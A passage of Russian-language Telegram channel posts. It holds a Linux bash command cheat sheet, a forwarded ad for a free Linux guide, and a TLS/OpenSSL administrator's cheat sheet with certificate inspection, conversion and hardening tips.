- grep -i — игнорировать регистр.
- grep -v — инвертировать результат поиска (вывести строки, не содержащие текст).

Права доступа:
- chmod <права> <файл> — изменить права доступа.
- chmod 755 <файл> — права для владельца на чтение/запись/исполнение, для группы и остальных — чтение и исполнение.
- chmod +x <файл> — сделать файл исполняемым.
- chown <пользователь>:<группа> <файл> — сменить владельца и группу файла.

Управление процессами:
- ps — показать процессы.
- ps aux — полный список процессов.
- top — интерактивный мониторинг процессов.
- kill <PID> — завершить процесс по его PID.
- kill -9 <PID> — принудительное завершение.
- & — запуск процесса в фоновом режиме (например, `sleep 10 &`).
- jobs — список фоновых процессов.
- fg — вернуть фоновый процесс на передний план.
- bg — продолжить выполнение процесса в фоновом режиме.

Перенаправление потоков:
- > — перенаправить вывод в файл, перезаписать содержимое.
- Пример: echo "Текст" > файл.txt.
- >> — перенаправить вывод в файл, добавив данные в конец файла.
- < — перенаправить ввод из файла.
- Пример: sort < файл.txt.
- | — перенаправить вывод одной команды на ввод другой.
- Пример: cat файл.txt | grep "строка".
- 2> — перенаправить стандартный поток ошибок.
- Пример: команда 2> ошибка.log.

Переменные и параметры:
- VARIABLE=value — создать переменную.
- echo $VARIABLE — вывести значение переменной.
- export VARIABLE — сделать переменную доступной для дочерних процессов.
- $0, $1, $2 и т.д. — доступ к аргументам скрипта.
- $0 — имя скрипта.
- $# — количество аргументов.
- $@ — все аргументы.

Циклы и условия:

Условия:

if [ условие ]; then
команда
elif [ условие ]; then
команда
else
команда
fi


Циклы:
- for:

for var in список; do
команда
done

Пример:

for i in 1 2 3; do
echo $i
done


- while:

while [ условие ]; do
команда
done

Пример:

while [ $COUNT -lt 5 ]; do
echo $COUNT
COUNT=$((COUNT+1))
done


Функции:

function имя_функции {
команды
}

Пример:

function приветствие {
echo "Привет, $1!"
}
приветствие "Мир"


📲 Мы в Max

👉 @i_odmin_book
Forwarded from Технотренды
Самую ПОДРОБНУЮ шпаргалку по по Linux и командам терминала нашли в сети — авторы собрали все, что нужно: от базы до профессиональных тем вроде LVM, RAID и трассировки. Там есть:

— Теория простым языком: устройство файлов, процессы, права, память, загрузка и сеть. Команды терминала, SSH, systemd, grep, sed, awk. Всё с примерами.
— Продвинутый уровень: продвинутый bash, LVM, RAID, трассировка, производительность, ядро, безопасность, контейнеры, восстановление системы.
— Добавили даже вопросы с собеседований, чтобы показать там новые знания и устроиться на работу мечты.

Все это БЕСПЛАТНО и на русском языке — здесь.

📲 Технотренды
Please open Telegram to view this post
VIEW IN TELEGRAM
🔐 TLS (Transport Layer Security): Шпаргалка админа

🚦 Версии протоколов: Что оставить?

❌ SSL v2, SSL v3: Мертвы. Дырявые. Отключать везде.
⚠️ TLS 1.0, 1.1: Устарели (Deprecation в 2020/2021). Отключать, если не поддерживаете клиентов времен IE 8/Android 4.
✅ TLS 1.2: Золотой стандарт. Должен быть включен везде. (Обязательно используйте шифры AEAD/GCM).
🚀 TLS 1.3: Самый быстрый и безопасный. Убрали лишние шаги в рукопожатии (1-RTT). Включаем в приоритет.



📂 Форматы файлов

Часто файлы имеют разные расширения, но внутри одно и то же.

- PEM (.pem, .crt, .cer, .key): Текстовый формат (ASCII), начинается с -----BEGIN.... Самый частый в Linux/Nginx/Apache.
- DER (.der, .cer): Бинарный формат. Часто встречается в Java и Windows.
- PFX/P12 (.pfx, .p12): Контейнер-сейф. Хранит и сертификат, и приватный ключ, и цепочку. Часто используется в Windows и для импорта/экспорта.



🛠 OpenSSL: Команды на каждый день

Самая полезная часть. Копируй и вставляй.

1. Проверка удаленного сервера

Посмотреть, какой сертификат отдает сайт, и проверить цепочку:


openssl s_client -connect domain.com:443 -showcerts


Лайфхак: Добавь -servername domain.com, если на IP висит несколько сайтов (SNI).

Посмотреть только дату истечения сертификата на сайте:


echo | openssl s_client -servername domain.com -connect domain.com:443 2>/dev/null | openssl x509 -noout -dates


2. Работа с локальными файлами

Прочитать содержимое сертификата (кто выдал, кому, когда истекает):


openssl x509 -in cert.pem -text -noout


Проверить, соответствует ли приватный ключ сертификату (хеши должны совпасть):


openssl x509 -noout -modulus -in cert.pem | openssl md5
openssl rsa -noout -modulus -in privkey.pem | openssl md5


3. Генерация CSR (Запрос на сертификат)

Создать ключ и запрос (CSR) одной командой:


openssl req -new -newkey rsa:2048 -nodes -keyout domain.key -out domain.csr


4. Конвертация форматов

PEM -> PFX (для IIS/Windows):


openssl pkcs12 -export -out domain.pfx -inkey domain.key -in domain.crt -certfile root-ca.crt


PFX -> PEM (достать ключ и серт):


# Только ключ (без пароля)
openssl pkcs12 -in domain.pfx -nocerts -nodes -out domain.key
# Только сертификат
openssl pkcs12 -in domain.pfx -nokeys -out domain.crt




🧠 Анатомия Cipher Suite

Что значит строка: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384?

1. TLS: Протокол.
2. ECDHE: Key Exchange (Как договорились о ключах). Эллиптические кривые, Ephemeral (генерируется каждый раз — это PFS).
3. RSA: Authentication (Проверка подлинности). Сертификат RSA.
4. AES_256_GCM: Bulk Encryption (Чем шифруем данные). Алгоритм AES, 256 бит, режим GCM (быстро и безопасно).
5. SHA384: MAC/PRF (Целостность). Хеширование для проверки пакетов.

Совет: Старайтесь использовать GCM или ChaCha20-Poly1305. Избегайте режимов CBC в старых протоколах.




🛡 Чек-лист

1. HSTS (HTTP Strict Transport Security): Заголовок, заставляющий браузер ходить только по HTTPS.
- Strict-Transport-Security: max-age=31536000; includeSubDomains
2. Forward Secrecy (PFS): Если украдут ключ сервера, прошлый трафик не расшифруют. Требует шифров ECDHE или DHE.
3. OCSP Stapling: Сервер сам шлет статус валидности сертификата, ускоряя загрузку страницы для клиента.
4. CAA Record: DNS-запись, указывающая, каким CA разрешено выдавать сертификаты для вашего домена.

📲 Мы в MAX

👉 @i_odmin
Please open Telegram to view this post
VIEW IN TELEGRAM